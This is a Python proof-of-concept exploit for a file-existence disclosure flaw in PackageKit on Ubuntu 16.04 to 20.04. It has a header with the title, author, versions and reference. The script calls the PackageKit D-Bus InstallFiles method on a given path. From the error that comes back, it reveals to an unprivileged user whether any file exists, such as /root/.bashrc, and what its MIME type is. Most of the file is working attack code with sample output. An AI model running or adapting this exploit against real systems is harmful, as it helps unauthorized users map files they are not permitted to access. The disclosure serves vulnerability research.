62 lines
No EOL
2.1 KiB
Python
Executable file
62 lines
No EOL
2.1 KiB
Python
Executable file
# Exploit Title: File Existence Disclosure in PackageKit < 1.1.13-2ubuntu1
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# Date: 2020-10-27
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# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
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# Vendor Homepage: https://www.freedesktop.org/software/PackageKit/
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# Software Link: https://www.freedesktop.org/software/PackageKit/
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# Version: <= 1.1.1+bzr982-0ubuntu32.1
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# Tested on: Ubuntu 20.04
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#
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#!/usr/bin/env python3
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#
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# Ubuntu 16.04 - 20.04
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# PackageKit <= 1.1.13-2ubuntu1
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# Sensitive Information Disclosure
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#
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#
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# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
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#
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# The InstallFiles, GetFilesLocal and GetDetailsLocal methods
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# of the d-bus interface to PackageKit accesses given files
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# before checking for authorization. This allows non-privileged
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# users to learn the MIME type of any file on the system.
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#
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# Example in attached Python script:
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#
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# $ python3 test_file_exists_pk.py /root/.bashrc
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# File exists and is of MIME type: 'text/plain'
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#
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# $ python3 test_file_exists_pk.py /root/.bashrca
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# File does not exist
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#
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#
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import dbus
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import os
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import sys
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import re
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if len(sys.argv) != 2:
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print("Checks if file exists and returns MIME type")
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print("Usage: %s <file>")
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sys.exit(0)
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FILE_TO_CHECK = sys.argv[1]
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bus = dbus.SystemBus()
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apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
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apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")
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trans = apt_dbus_interface.CreateTransaction()
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apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
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apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")
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try:
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apt_trans_dbus_interface.InstallFiles(0, [FILE_TO_CHECK])
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# ALSO apt_trans_dbus_interface.GetFilesLocal([FILE_TO_CHECK])
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# ALSO apt_trans_dbus_interface.GetDetailsLocal([FILE_TO_CHECK])
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except dbus.exceptions.DBusException as e:
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if "No such file" in str(e):
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print("File does not exist")
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elif "MimeTypeNotSupported" in str(e):
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result = re.search('MIME type (.*) not supported', str(e))
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print("File exists and is of MIME type: " + result.group(1)) |